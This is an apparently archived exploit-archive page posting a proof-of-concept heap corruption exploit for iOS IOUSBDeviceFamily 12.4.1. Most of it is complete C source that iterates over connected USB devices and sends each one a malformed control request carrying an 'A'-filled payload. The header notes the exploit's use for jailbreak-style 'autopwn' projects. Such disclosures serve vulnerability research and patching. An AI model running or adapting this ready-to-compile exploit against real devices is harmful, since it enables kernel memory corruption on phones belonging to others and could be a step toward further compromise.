exploit the possibilities

iOS IOUSBDeviceFamily 12.4.1 Heap Corruption Proof Of Concept

iOS IOUSBDeviceFamily 12.4.1 Heap Corruption Proof Of Concept
Posted Nov 11, 2019
Authored by Sem Voigtlander, Raz Mashat, Joshua Hill

iOS IOUSBDeviceFamily version 12.4.1 IOInterruptEventSource heap corruption proof of concept exploit.

tags | exploit, proof of concept
systems | ios
MD5 | b070d13153419dd7869767dbd75340b8

iOS IOUSBDeviceFamily 12.4.1 Heap Corruption Proof Of Concept

Change Mirror Download
# Exploit Title: iOS IOUSBDeviceFamily 12.4.1 - 'IOInterruptEventSource' Heap Corruption (PoC)
# Date: 2019-10-29
# Exploit Author: Sem Voigtlander, Joshua Hill and Raz Mashat
# Vendor Homepage: https://apple.com/
# Software Link: https://support.apple.com/en-hk/HT210606
# Version: iOS 13
# Tested on: iOS 12.4.1
# CVE : N/A

# A vulnerable implementation of IOInterruptEventSource on a workloop exists in IOUSBDeviceFamily.
# The code can be triggered by a local attacker by sending a malicious USB control request to device.
# It seems the faulting address register is corrupted as result of a heap corruption vulnerability.
# However, on earlier iOS versions (tested on 12.0.1) we were able to trigger a use after free in reserved->statistics relating to the same vulnerable code too.
# This bug was found through statically analyzing xnu from public source and optimized USB fuzzing.
# A proof of concept written in C for macOS is attached, for other platforms python and c code using libusb exists on GitHub (https://github.com/userlandkernel/USBusted)

iousbusted.c

/*
Pure IOKit implementation of CVE-2019-8718
Written by Sem Voigtländer.
Compile: clang iousbusted.c -o iousbusted -framework IOKit -framework CoreFoundation
Tip: You can also use this for projects like checkm8 autopwn etc.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <mach/mach.h>
#include <IOKit/usb/IOUSBLib.h>
#include <IOKit/IOCFPlugIn.h>
#include <CoreFoundation/CoreFoundation.h>

/* Faster comparissions for 64-bit integers than != and == */
#define FCOMP(P1,P2) !(P1 ^ P2)

const char *defaultMsg = "HELLO WORLD";

/* Method for sending an USB control message to a target device */
static int send_usb_msg(IOUSBDeviceInterface** dev, int type, int reqno, int val, int idx, const char *msg)
{

if(!dev){
printf("No device handle given.\n");
return KERN_FAILURE;
}

if(!msg)
msg = defaultMsg;

IOUSBDevRequest req;
req.bmRequestType = type;
req.bRequest = reqno;
req.wValue = val;
req.wIndex = idx;
req.wLength = strlen(msg);
req.pData = msg;
req.wLenDone = 0;
IOReturn rc = KERN_SUCCESS;

rc = (*dev)->DeviceRequest(dev, &req);

if(rc != KERN_SUCCESS)
{
return rc;
}

return KERN_SUCCESS;
}

static int send_usbusted_pwn_msg(IOUSBDeviceInterface** dev, const char *msg)
{

if(!dev){
printf("No device handle given.\n");
return KERN_FAILURE;
}

kern_return_t rc = send_usb_msg(dev, 0|0x80, 0x6, 0x30c, 0x409, msg);

if(rc != kIOReturnSuccess)
{
return rc;
}

return KERN_SUCCESS;
}

/* Print information from an IOKit USB device */
static int print_usb_device(io_service_t device){

kern_return_t err = KERN_SUCCESS;

CFNumberRef vid = 0;
CFNumberRef pid = 0;
CFNumberRef locationID = 0;

CFMutableDictionaryRef p = NULL;
err = IORegistryEntryCreateCFProperties(device, &p, NULL, 0);

if(err != KERN_SUCCESS || !p)
return err;

if(!CFDictionaryGetValueIfPresent(p, CFSTR("idVendor"), &vid))
return KERN_FAILURE;

if(!CFDictionaryGetValueIfPresent(p, CFSTR("idProduct"), &pid))
return KERN_FAILURE;

CFDictionaryGetValueIfPresent(p, CFSTR("locationID"), &locationID);

CFNumberGetValue(vid, kCFNumberSInt32Type, &vid);
CFNumberGetValue(pid, kCFNumberSInt32Type, &pid); // <-- yes I know this is dirty, I was tired.

if(locationID)
CFNumberGetValue(locationID, kCFNumberSInt32Type, &locationID);

printf("Got device %#x @ %#x (%#x:%#x)\n", device, locationID, vid, pid);
return err;
}

/* Get a handle for sending to a device */
static int get_usbdevice_handle(io_service_t device, IOUSBDeviceInterface* dev){

kern_return_t err = KERN_SUCCESS;
SInt32 score;
IOCFPlugInInterface** plugInInterface = NULL;

err = IOCreatePlugInInterfaceForService(device,
kIOUSBDeviceUserClientTypeID,
kIOCFPlugInInterfaceID,
&plugInInterface, &score);

if (err != KERN_SUCCESS || plugInInterface == NULL)
return err;

err = (*plugInInterface)->QueryInterface(plugInInterface, CFUUIDGetUUIDBytes(kIOUSBDeviceInterfaceID), (LPVOID*)dev);

if(err != kIOReturnSuccess)
return err;

// Now done with the plugin interface.
(*plugInInterface)->Release(plugInInterface);
//plugInInterface = NULL;

if(!dev)
return KERN_FAILURE;

return err;
}

/* Iterate over all USB devices */
static int iterate_usb_devices(const char *msg){
CFMutableDictionaryRef matchingDict;
io_iterator_t iter;
kern_return_t kr;
io_service_t device;

/* set up a matching dictionary for the class */
matchingDict = IOServiceMatching(kIOUSBDeviceClassName);
if (matchingDict == NULL)
{
return -1; // fail
}

/* Now we have a dictionary, get an iterator.*/
kr = IOServiceGetMatchingServices(kIOMasterPortDefault, matchingDict, &iter);
if (kr != KERN_SUCCESS)
{
return -1;
}

/* iterate */
while ((device = IOIteratorNext(iter)))
{
/* do something with device, eg. check properties */
kr = print_usb_device(device);

if(kr != KERN_SUCCESS){
printf("Skipping device as it has no vid / pid.\n");
continue;
}

IOUSBDeviceInterface **dev = 0;
kr = get_usbdevice_handle(device, &dev);

if(kr != KERN_SUCCESS){
printf("Skipping device as no handle for it could be retrieved.\n");
continue;
}

kr = send_usbusted_pwn_msg(dev, msg);
printf("RET: %s\n\n", mach_error_string(kr));

/* And free the reference taken before continuing to the next item */
IOObjectRelease(device);
}

/* Done, release the iterator */
IOObjectRelease(iter);
return 0;
}

int main(int argc, char *argv[]){
char payload[108];
memset(&payload, 'A', 108);
int err = iterate_usb_devices(payload);
return err;
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    1 Files
  • 2
    Feb 2nd
    2 Files
  • 3
    Feb 3rd
    17 Files
  • 4
    Feb 4th
    15 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    16 Files
  • 7
    Feb 7th
    19 Files
  • 8
    Feb 8th
    1 Files
  • 9
    Feb 9th
    2 Files
  • 10
    Feb 10th
    15 Files
  • 11
    Feb 11th
    20 Files
  • 12
    Feb 12th
    12 Files
  • 13
    Feb 13th
    18 Files
  • 14
    Feb 14th
    17 Files
  • 15
    Feb 15th
    4 Files
  • 16
    Feb 16th
    4 Files
  • 17
    Feb 17th
    34 Files
  • 18
    Feb 18th
    15 Files
  • 19
    Feb 19th
    19 Files
  • 20
    Feb 20th
    20 Files
  • 21
    Feb 21st
    11 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close